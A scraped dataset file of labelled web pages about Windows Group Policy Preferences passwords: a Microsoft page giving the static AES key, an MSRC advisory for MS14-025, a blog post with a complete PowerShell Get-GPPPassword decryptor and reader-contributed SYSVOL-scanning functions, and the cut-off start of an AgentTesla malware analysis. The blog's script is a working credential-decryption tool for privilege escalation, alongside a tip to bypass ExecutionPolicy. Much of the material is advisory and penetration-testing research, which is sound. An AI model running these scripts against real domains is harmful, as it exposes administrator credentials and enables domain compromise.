Hover! Mahjong Minesweeper Retrieved from ""https://en.wikipedia.org/w/index.php?title=Active_Directory&oldid=915056214"" Categories: Active Directory Directory services Microsoft server technology Windows components Windows 2000 Hidden categories: All articles with unsourced statements Articles with unsourced statements from April 2014 Articles with unsourced statements from March 2011 Use dmy dates from March 2012 Pages using RFC magic links Navigation menu Personal tools Not logged in Talk Contributions Create account Log in Namespaces Article Talk Variants Views Read Edit View history More Search Navigation Main page Contents Featured content Current events Random article Donate to Wikipedia Wikipedia store Interaction Help About Wikipedia Community portal Recent changes Contact page Tools What links here Related changes Upload file Special pages Permanent link Page information Wikidata item Cite this page Print/export Create a book Download as PDF Printable version Languages \xd8\xa7\xd9\x84\xd8\xb9\xd8\xb1\xd8\xa8\xd9\x8a\xd8\xa9 Catal\xc3 \xc4\x8ce\xc5\xa1tina Dansk Deutsch Espa\xc3\xb1ol Euskara \xd9\x81\xd8\xa7\xd8\xb1\xd8\xb3\xdb\x8c Fran\xc3\xa7ais \xed\x95\x9c\xea\xb5\xad\xec\x96\xb4 \xe0\xa4\xb9\xe0\xa4\xbf\xe0\xa4\xa8\xe0\xa5\x8d\xe0\xa4\xa6\xe0\xa5\x80 Bahasa Indonesia Italiano \xd7\xa2\xd7\x91\xd7\xa8\xd7\x99\xd7\xaa Latvie\xc5\xa1u Magyar \xe0\xb4\xae\xe0\xb4\xb2\xe0\xb4\xaf\xe0\xb4\xbe\xe0\xb4\xb3\xe0\xb4\x82 Nederlands \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e Norsk Norsk nynorsk Polski Portugu\xc3\xaas Rom\xc3\xa2n\xc4\x83 \xd0 \xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 Sloven\xc4\x8dina \xda\xa9\xd9\x88\xd8\xb1\xd8\xaf\xdb\x8c Suomi Svenska T\xc3\xbcrk\xc3\xa7e \xd0\xa3\xd0\xba\xd1\x80\xd0\xb0\xd1\x97\xd0\xbd\xd1\x81\xd1\x8c\xd0\xba\xd0\xb0 \xd7\x99\xd7\x99\xd6\xb4\xd7\x93\xd7\x99\xd7\xa9 \xe4\xb8\xad\xe6\x96\x87 Edit links This page was last edited on 10 September 2019, at 23:38\xc2 (UTC). Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. By using this site, you agree to the Terms of Use and Privacy Policy. Wikipedia\xc2\xae is a registered trademark of the Wikimedia Foundation, Inc., a non-profit organization. Privacy policy About Wikipedia Disclaimers Contact Wikipedia Developers Cookie statement Mobile view","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"[MS-GPPREF]: Password Encryption | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents 2.2.1.1.4 Password Encryption 2/14/2019 2 minutes to read In this article All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<3> The 32-byte AES key is as follows: \xc2 4e 99 06 e8\xc2 fc b6 6c c9\xc2 fa f4 93 10\xc2 62 0f fe e8 \xc2 f4 96 e8 06\xc2 cc 05 79 90\xc2 20 9b 09 a4\xc2 33 b6 6c 1b \xc2 Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Skip to content Microsoft Security Response Center Report an issue Security Update Guide About MSRC MS14-025: An Update for Group Policy Preferences Security Research & Defense / By swiat / May 13, 2014 / Attack Surface Reduction, tools Today, we released an update to address a vulnerability in Group Policy Preferences (MS14-025). Group Policy Preferences was an addition made to Group Policy to extend its capabilities. Among other things, Group Policy Preferences allows an administrator to configure: Local administrator accounts (name of the account, account password, etc) Configure a service or scheduled task (allowed to specify alternate credentials to run as) Mount network drives when a user logs in (allowed to specify alternate credentials to connect with) Group Policy Preferences are distributed just like normal group policy: An XML file containing the settings is written to the SYSVOL share of the domain controllers, and computers periodically query the SYSVOL share (authenticating to it using their computer account) for updates to the group policy. Several of the Group Policy Preferences allow credentials to be specified. When this option is used, the password is symmetrically encrypted using a static key and written to the XML file along with the rest of the settings. What is this key you ask? It turns out, we document it on MSDN: http://msdn.microsoft.com/en-us/library/cc422924.aspx. If an attacker is able to get access to the SYSVOL share (which is open to all authenticated users, so a malicious or spear phished employee will have access to it) and obtain the AES encryption key used to encrypt/decrypt passwords set with GPP (which we document on MSDN), the attacker will be able to obtain the credentials set with GPP. Microsoft has observed that Group Policy Preferences abuse is one of the most common tactics used by attackers to elevate permissions in a domain. Multiple toolkits used by attackers such as Metasploit (http://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp) and PowerSploit (https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1) provide easy to use methods for retrieving and decrypting GPP passwords. In the worst case scenario, companies use Domain Administrator credentials in their Group Policy Preference accounts, resulting in a full domain compromise as soon as the attacker is able to access with SYSVOL share (and decrypt the passwords using the documented key). Microsoft has released an update to change the behavior for this issue, but companies using GPP need to take action. Microsoft has removed the ability to create or modify any Group Policy which contains a Group Policy Preference that specifies account credentials. The only action that can be performed on such a Group Policy is \xe2\x80\x9cdelete\xe2\x80\x9d. Note that Microsoft is not automatically disabling these Group Policies because we do not want to disrupt existing environments which rely on this feature. You can see in the picture below that when attempting to create a local account the \xe2\x80\x9cusername\xe2\x80\x9d and \xe2\x80\x9cpassword\xe2\x80\x9d fields are disabled. If you attempt to create a user, an error dialog will be displayed. In addition to the change in behavior, Microsoft is providing customers with two PowerShell scripts. The first script, Enum-SettingsWithCpassword, will search existing GPO\xe2\x80\x99s for use of the account password functionality. We urge companies to immediately run this script and delete vulnerable GPO\xe2\x80\x99s detected. The second script, Invoke-PasswordRoll, can be used to set local administrator passwords on remote systems (something that Group Policy Preferences is commonly used for). The script takes a list of usernames and computers, and uses PowerShell remoting to connect to each computer and change each specified usernames password to a randomized password. The username/password combinations will be written recorded in a file on disk (which is encrypted, but optionally can be stored in clear-text). Note that the script enforces randomized passwords to ensure the local accounts cannot be used in pass-the-hash attacks. You can find both scripts at http://support.microsoft.com/kb/2962486. \xe2\x80\x93 Joe Bialek, MSRC engineering team Share Post navigation \xe2\x86\x90 Previous Post Next Post \xe2\x86\x92 Search for: Search \xe2\x80\xa6 Follow MSRC Categories BlueHat (174) Japan Security Team (858) MSRC (894) Security Research & Defense (358) Tags advisory (59) ANS (47) Attack (43) Attack Vector (68) BlueHat Security Briefings (51) Community-based Defense (54) Defense-in-depth (38) EcoStrat (34) EMET (68) Exploitability (76) Internet Explorer (IE) (156) malware (58) Microsoft Active Protections Program (MAPP) (32) Microsoft Office (81) Microsoft Windows (106) Mitigations (125) monthly bulletin release (48) rating (48) Risk Asessment (104) security (67) Security Advisory (133) Security Bulletin (133) security bulletin release (44) Security Bulletins (39) Security Conference Engagement (56) Security Ecosystem (52) Security Engineering (42) Security Research (61) Security Update (132) Security Update Webcast (46) Security Update Webcast Q & A (70) Update Tuesday (56) Webcast (37) Windows Update (68) Workarounds (74) Zero-Day Exploit (36) \xe3\x82\xa2\xe3\x83\x89\xe3\x83\x90\xe3\x82\xa4\xe3\x82\xb6\xe3\x83\xaa (118) \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3 (52) \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3\xe6\x83 \xe5 \xb1 (390) \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3\xe6\x9b\xb4\xe6\x96\xb0 (47) \xe3\x83\xaf\xe3\x83\xb3\xe3\x83\x9d\xe3\x82\xa4\xe3\x83\xb3\xe3\x83\x88 (39) \xe5\x95\x93\xe7\x99\xba (44) \xe5\xb1\x95\xe9\x96\x8b (45) \xe6\x99\x82\xe4\xba\x8b\xe3\x83\x8d\xe3\x82\xbf (42) \xe8\x84\x86\xe5\xbc\xb1\xe6\x80\xa7 (206) Recent Posts Calling all breakers & builders: BlueHat Seattle registration is open! Attacking the VM Worker Process 2019 \xe5\xb9\xb4 9 \xe6\x9c\x88\xe3\x81\xae\xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3\xe6\x9b\xb4\xe6\x96\xb0\xe3\x83\x97\xe3\x83\xad\xe3\x82\xb0\xe3\x83\xa9\xe3\x83 (\xe6\x9c\x88\xe4\xbe\x8b) September 2019 Security Updates BlueHat Seattle 2019 Call for Papers is Now Open! Archives Archives Copyright \xc2\xa9 2019 Microsoft Security Response Center | Powered by MSRC Blog","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"obscuresec: GPP Password Retrieval with PowerShell Thursday, May 24, 2012 GPP Password Retrieval with PowerShell Last week, I read a great post entitled ""Exploiting Windows 2008 Group Policy Preferences"" that I wish I saw sooner.\xc2 The article included a nice Python script to accomplish the task of decrypting passwords that were set using the GPP feature in Windows 2008 domains.\xc2 However, it looked like something that would be handy to have in a PowerShell script.\xc2 Before I continue, I would like to point out the updated disclaimer, it certainly applies to this post. You should read the original article, but the quick summary is that its possible for any authenticated user (this includes machine accounts) on the domain to decrypt passwords that are enforced with Windows 2008 Group Policy Preferences.\xc2 From my experience, this practice is common for larger domains which need to set different local administrator (""500"" account) passwords for different OUs. Python is an excellent scripting language, but PowerShell has two notable advantages in this specific use-case.\xc2 First, PowerShell does not require any additional libraries since it has access to the entire .NET framework.\xc2 Second, PowerShell is installed by default on all modern Windows systems to include Windows Server 2008 so it can be used right from the machine you are on. The following Get-GPPPassword PowerShell script can be used by penetration testers to elevate to local administrator privileges (on your way to Domain Admin) by downloading the ""groups.xml"" file from the domain controller and passing it to the script.\xc2 The files are typically found in: \\\\domain\\SYSVOL\\domain\\Policies\\{*}\\Machine\\Preferences\\Groups\\Groups.xml Get-GPPPassword (Use Updated Version) Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path = ""$PWD\\groups.xml"" ) #Function to pull encrypted password string from groups.xml function Parse-cPassword { try { [xml] $Xml = Get-Content ($Path) [String] $Cpassword = $Xml.Groups.User.Properties.cpassword } catch { Write-Error ""No Password Policy Found in File!"" } return $Cpassword } #Function to look to see if the administrator account is given a newname function Parse-NewName { [xml] $Xml = Get-Content ($Path) [String] $NewName = $Xml.Groups.User.Properties.newName return $NewName } #Function to parse out the Username whose password is being specified function Parse-UserName { try { [xml] $Xml = Get-Content ($Path) [string] $UserName = $Xml.Groups.User.Properties.userName } catch { Write-Error ""No Username Specified in File!"" } return $UserName } #Function that decodes and decrypts password function Decrypt-Password { try { #Append appropriate padding based on string length $Pad = ""="" * (4 - ($Cpassword.length % 4)) $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad) #Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider #Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) #Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) } catch { Write-Error ""Decryption Failed!"" } } $Cpassword = Parse-cPassword $Password = Decrypt-Password $NewName = Parse-NewName $UserName = Parse-UserName $Results = New-Object System.Object Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password return $Results To run the function, just copy and paste the text into powershell and type 'Get-GPPPassword'. This will in effect bypass\xc2 the ExecutionPolicy. Writing this script ended up not being as easy as I originally thought mostly due to never dealing with .NET and crypto before.\xc2 I would like to thank Matt Graeber for solving the null IV issue, Mike Santiago for general code improvements and of course Emilien Giraul (and the Sogeti ESEC Pentest team for their detailed writeup). Try it out and let me know what you think. ***Update 26 May 2012*** You can also download the maintained version of the script from the PowerSploit repository on GitHub.\xc2 It already has some great scripts for Windows post-exploitation on it! ***Update 16 June 2012*** Updated the script block with the improvements from Matt Graeber.\xc2 Matt wrapped it into a function and apparently saved a puppy by creating a new object (avoiding the use of write-host). ***Update 3 July 2013*** I have reorganized and rewritten the script. You can find the updated version and read about it here. -Chris Posted by Chris at 6:10 PM Email ThisBlogThis!Share to TwitterShare to FacebookShare to Pinterest Labels: AES, Base64, Group Policy Preferences, passwords, PowerShell, Python, Scripting, Windows Privilege Escalation 25 comments: MarkMay 25, 2012 at 5:15 AM Saved the script as Get-GPPPassword.ps1 on desktop Saved xml in c:\\daten\\temp The password is ""123"", but decryption failed? Where is my mistake? XML: Run: .\\Daten\\Desktop\\Get-GPPPassword.ps1 -path C:\\Daten\\Temp\\test.xml in elvated Powershell. PS C:\\> .\\Daten\\Desktop\\Get-GPPPassword.ps1 -path C:\\Daten\\Temp\\test.xml The account has a password of Error: Decryption Failed! ReplyDelete Replies Reply ChrisMay 25, 2012 at 12:29 PM Mark, You weren't making a mistake, I did. I posted the wrong version of the script and I just corrected it. The main issue was with something that Aaron (http://colligomentis.com/) pointed out when I was troubleshooting the decrypt function. Base64 padding (the ""="" at the end) is based on the length of the encoded string. The $pad variable should sort that out now. Please try it and let me know. Sorry for the mixup and thanks for posting a comment. Chris ReplyDelete Replies Reply Ryan RiesMay 29, 2012 at 11:26 AM I added ""$_.Message"" to the catch block where it says ""Decryption Failed!"" so that I could get a more detailed message of what was going wrong, and it is telling me ""Decrypt-Password : Decryption Failed! Exception calling ""FromBase64String"" with ""1"" argument(s): ""Invalid character in a Base-64 string."" ReplyDelete Replies Reply Ryan RiesMay 29, 2012 at 11:38 AM Oh, cancel that. My xml file didn't have a password in it. :P ReplyDelete Replies Reply Ryan RiesMay 29, 2012 at 1:03 PM One last thing. I wrote an additional function to go in your Get-GPPPasswords.ps1 script. It scans your current domain for Groups.xml files and uses Get-GPPPasswords on them. Can be useful for finding all the Groups.xml files in your domain as quickly as possible. Feel free to add it to your script if you want: function Find-GPPPasswords { <# .Synopsis Scan your own domain in search of valid Groups.xml files in SYSVOL. If found, use Get-GPPPassword on them. Author: Ryan Ries (www.myotherpcisacloud.com) .Example PS C:\\> . .\\Get-GPPPassword.ps1 PS C:\\> Find-GPPPasswords #> Write-Host ""Now searching $Env:UserDNSDomain for Group Policy Preferences passwords..."" $GroupsFiles = Get-ChildItem -Path ""\\\\$Env:UserDNSDomain\\SYSVOL"" -Recurse -Include Groups.xml foreach($_ in $GroupsFiles) { Get-GPPPassword -Path $_ } } ReplyDelete Replies Darren Mar-EliaSeptember 29, 2013 at 5:03 PM In large domains, that approach could be painful, scanning the entire SYSVOL file system for a specific file. There's a couple of better ways to do this. First, you could use Get-ChildItem much deeper into the path, using a loop of all of the GPO GUIDs, so you don't have to recursively search every single folder, since you can reasonably assume where the file is, based on the normal folder structure for GPP settings. Second approach--you don't even need to search the file system. Simply do an AD search under the container CN=Policies, CN=System, DC=. Search on the attributes gPCMachineExtensionNames and gPCUserExtensionNames , for the string ""[{17D89FEC-5C44-4972-B12D-241CAEF74509}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}]"". That's the CSE guid for LUGs settings. Delete Replies Reply Reply ChrisMay 29, 2012 at 5:09 PM Thanks Ryan! I will take a look at how to make sure you capture what policy each password is from and add that to the script on PowerSploit. ReplyDelete Replies Reply Nathan VJuly 18, 2012 at 2:34 AM Chris, I restructured this script and added some automation and features. It automates searching the domain similar to how Ryan suggests above while also supporting local decryption like the original. I've tested it and it works very well for me. Some of the changes may be useful to you. Let me know what you think. :) http://www.nathanv.com/2012/07/04/pshell-script-extract-all-gpo-set-passwords-from-domain/ ReplyDelete Replies Reply @dfterJuly 30, 2012 at 5:21 AM Chris, I think i found a bug in your script. I ran your script on some test GPP and your script wasn't be able to decrypt the password. After some debugging i found out that the encrypted password in the groups.xml is sometimes more then 64 chars. And this gives an error for the Base64 function. So in the Decrypt-Password function i limited $cPassword to only the first 64 chars and it works like a charm. Kind Regards DFT ReplyDelete Replies Daniel HamikAugust 16, 2012 at 12:58 PM How did you do the limitation? i'm trying to limit by doing a $Cpassword.substring(0,63) and i'm still getting the error. Delete Replies Reply ChrisAugust 16, 2012 at 8:07 PM DFT, What is the exact error? Which part is causing the error? Chris Delete Replies Reply Daniel HamikAugust 20, 2012 at 2:20 PM it says it cant decrypt. i've just taking the meat of the decryption and broke it into a function. Basically, if the modulo 4 of the length of the password is 0, don't pad, if it is anything else, use what is in the original script. This way, you can just getpwd -Cpassword encryptedpasswordhere and get the value, without having to process the xml. i've had issues with it reading the xml file properly when builtin accounts have password changes set on them. function getpwd([string]$Cpassword){ $pl = $Cpassword.length % 4 if($pl -eq 0){$pad = """"} else{$Pad = ""="" * (4 - ($Cpassword.length % 4))} $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad) #Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider #Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) #Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) } Delete Replies Reply Reply AnonymousSeptember 10, 2012 at 3:33 PM You might also want to break out the [xml] $Xml = Get-Content ($Path) lines from each function, running it just once before you call the functions. Instead just assume the $XML variable like you assume the $Path variable in each function. That way you avoid reading the XML file over and over again. I imagine reading the xml file once would be much faster if this script were running in a loop over a number of files. ReplyDelete Replies ChrisSeptember 14, 2012 at 11:14 AM Thanks! Delete Replies Reply Reply AnonymousNovember 15, 2012 at 6:30 AM There is still error in padding ""Invalid character in a Base-64 string."" It shows when $Cpassword.length % 4 = 0 Proper line shoud be: $Pad = '=' * ((4 - ($Cpassword.length % 4)) % 4) Instead of problematic: $Pad = '=' * (4 - ($Cpassword.length % 4)) Matheos ReplyDelete Replies ChrisDecember 13, 2012 at 10:57 PM Thank you for pointing that out and sorry for the delay, your comment was marked as spam for some reason. I plan on reworking the entire script soon to incorporate this (and other) bug fixes as well as improve the functionality. The maintained version will be available at: https://github.com/mattifestation/PowerSploit Thanks again. Delete Replies Reply Reply AnonymousJanuary 3, 2013 at 7:09 AM Script does not work if XML looks like this. --- - 1.st the account is renamed and then password changed. It should check all Cpasswords from the XML. Per user o course. This could be one reason why your code has not worked every where ReplyDelete Replies Reply AnonymousJanuary 4, 2013 at 3:45 AM This would be better $Xml.Groups.User|where {$_.properties.cpassword}|foreach {$_.properties.cpassword} $Xml.Groups.User|where { $_.properties.cpassword}|foreach {$_.properties.newName} $Xml.Groups.User|where {$_.properties.cpassword}|foreach {$_.properties.userName} ReplyDelete Replies Reply ChrisJanuary 11, 2013 at 2:06 PM I will add a test for when the username is changed AND the password is changed. I hadn't thought to check that. The new script is laid out differently and am having people check to ensure that it works against other GPP use-cases such as service accounts. ReplyDelete Replies gpc gptJanuary 20, 2013 at 8:53 AM There is an error, I removed the line-brake from the aeskey, but still get this: Decrypt-Password : Decryption Failed! In C:\\Daten\\Desktop\\getit.ps1:85 Zeichen:17 + $Password = Decrypt-Password Delete Replies Reply gpo markJanuary 20, 2013 at 3:43 PM Sorry, my fault. I did not use the XML from SYSVOL, I used the XML from the Item and then the XML ist formated differently. It\xc2\xb4s $xml.user.properties.newname instead of: $xml.groups.user.properties.newname Delete Replies Reply Reply AnonymousFebruary 6, 2013 at 12:52 PM OK Maybe I am a rock. I will admit I am not wellversed in Powershell. But here is what I did : - Copied and pasted the code from the PowerSploit respository (located under RECON) into a notepad document and saved it as Get-GPPPassword.ps1. Launched Powershell and did CD to the folder where I created the file. Grabbed a groups.xml file from Sysvol and point to it with -path paramater Executed .\\Get-GPPPassword.ps1 -path c:\\gpptest\\groups.xml I hit enter and get nothing back at all. Am I missing something ? ReplyDelete Replies Reply ChrisFebruary 7, 2013 at 1:39 PM I think the problem that you are running into is that you are trying to use Get-GPPPassword like a script. It is actually just a single function. Try opening powershell.exe and pasting the entire function into the shell. That will load the function that you can call with 'get-gpppassword -path c:\\gpptest\\groups.xml' Let me know if that helps. ReplyDelete Replies Reply Alan KaplanJuly 16, 2013 at 5:34 PM This changed worked for me with the $pad issue: if ($Cpassword.length -lt 64) { $Pad = ""="" * (4 - ($Cpassword.length % 4)) } Also, I call the script so I can test an entire domain with this: import-module ActiveDirectory [void][System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic') $dnsdom = $env:userdnsdomain $Message= ""This will run Get-GPPPassword.ps1 on all group.xml files in a given domain. Select a domain to continue."" $dnsdom = [Microsoft.VisualBasic.Interaction]::InputBox($Message, ""Domain Name"", $dnsdom ) if ($dnsdom.Length -eq 0) {Exit} cls write-host ""Looking for GPOs with passwords in $dnsdom, please wait...."" $PolPath = ""\\\\$dnsdom\\sysvol\\$DNSDOM\\Policies"" pushd sl $PolPath $results =Get-ChildItem -Include ""groups.xml"" -recurse -erroraction Silentlycontinue popd #cls foreach ($file in $results) { write-host `n $guid = $file.fullname.Substring($file.fullname.IndexOf(""{""),$file.fullname.Length -$file.fullname.IndexOf(""}"") -1) $gpo = Get-GPO -Guid $guid -Domain $dnsdom write-host $gpo.displayname Write-Host $file.FullName .\\Get-GPPPassword.ps1 -path $file.FullName } ReplyDelete Replies ChrisJuly 17, 2013 at 1:50 AM Alan, The length of 64 was not a bug, but I did add similar features and fix several bugs in the updated version of the script. I wrote about it here: http://obscuresecurity.blogspot.com/2013/07/get-gpppassword.html. Thanks for the comment! Chris Delete Replies Reply Reply Add comment Load more... Newer Post Older Post Home Subscribe to: Post Comments (Atom) Twitter obscuresec Other Content Recommended Books Recommended Links Standard Disclaimer Presentation Slides RTFM Blog Archive \xe2\x96\xba\xc2 2014 (6) \xe2\x96\xba\xc2 May (2) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (1) \xe2\x96\xba\xc2 February (2) \xe2\x96\xba\xc2 2013 (12) \xe2\x96\xba\xc2 September (1) \xe2\x96\xba\xc2 July (2) \xe2\x96\xba\xc2 June (1) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (2) \xe2\x96\xba\xc2 February (2) \xe2\x96\xba\xc2 January (3) \xe2\x96\xbc\xc2 2012 (15) \xe2\x96\xba\xc2 December (1) \xe2\x96\xba\xc2 November (1) \xe2\x96\xba\xc2 October (1) \xe2\x96\xba\xc2 September (1) \xe2\x96\xba\xc2 August (1) \xe2\x96\xba\xc2 July (1) \xe2\x96\xba\xc2 June (2) \xe2\x96\xbc\xc2 May (2) GPP Password Retrieval with PowerShell PowerShell Password Fun \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (2) \xe2\x96\xba\xc2 February (1) \xe2\x96\xba\xc2 January (1) \xe2\x96\xba\xc2 2011 (7) \xe2\x96\xba\xc2 December (2) \xe2\x96\xba\xc2 November (1) \xe2\x96\xba\xc2 October (1) \xe2\x96\xba\xc2 September (1) \xe2\x96\xba\xc2 August (1) \xe2\x96\xba\xc2 July (1) Learn PowerShell About Me Chris Just another obscure security professional. View my complete profile PowerShell Toolmaking Blogs I Read Mubix's Room362 Tribe of Hackers: Red Team Edition 4 weeks ago Carnal0wnage & AR Minecraft Mod, Follow up, and Java Reflection 4 months ago Dark Operator Being Grateful at Heilderburg 5 months ago Exploit Monday Device Guard and Application Whitelisting on Windows - An Airing of Grievances 1 year ago Command Line Kung Fu Episode #181: Making Contact 1 year ago Metasploit Metasploit Wrapup 2 years ago Still Passing the Hash 15 Years Later Blocking the Lan Turtle / Poison Tap / Bash Bunny and other cruft 2 years ago Pentest Geek Phishing Frenzy: SSL Support on Rails 4 with Syntax Highlighting 4 years ago clymb3r Cracking Open PowerShell\xe2\x80\x99s Constrained Runspace 5 years ago Blackthorne R&D Quick and Dirty Windows Malware Analysis 5 years ago Colligo Mentis Violent Python Main Site This work by obscuresec is licensed under a Creative Commons Attribution-NonCommercial 3.0 Unported License. Powered by Blogger.","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"In-Depth Analysis of A New Variant of .NET Malware AgentTesla Blog Business & Technology Threat Research Industry Trends Partners Threat Research In-Depth Analysis of A New Variant of .NET Malware AgentTesla By Xiaopeng Zhang | June 28, 2017 Background FortiGuard Labs recently captured some malware which was developed using the Microsoft .Net framework. I analyzed one of them, it's a new variant from AgentTasla family. In this blog, I\xe2\x80\x99m going to show you how it is able to steal information from a victim\xe2\x80\x99s machine. The malware was spread via a Microsoft Word document that contained an auto-executable malicious VBA Macro. Figure 1 below shows how it looks when it\xe2\x80\x99s opened. Figure 1. When the malicious Word document is opened What the VBA code does Once you click the \xe2\x80\x9cEnable Content\xe2\x80\x9d button, the malicious VBA Macro is executed covertly in the background. The code first writes some key values into the device\xe2\x80\x99s system registry to avoid the Macro security warning when opening Word documents with risky content the next time. \xc2 Here are the key values it writes into system registry: HKCU\\Software\\Microsoft\\Office\\{word 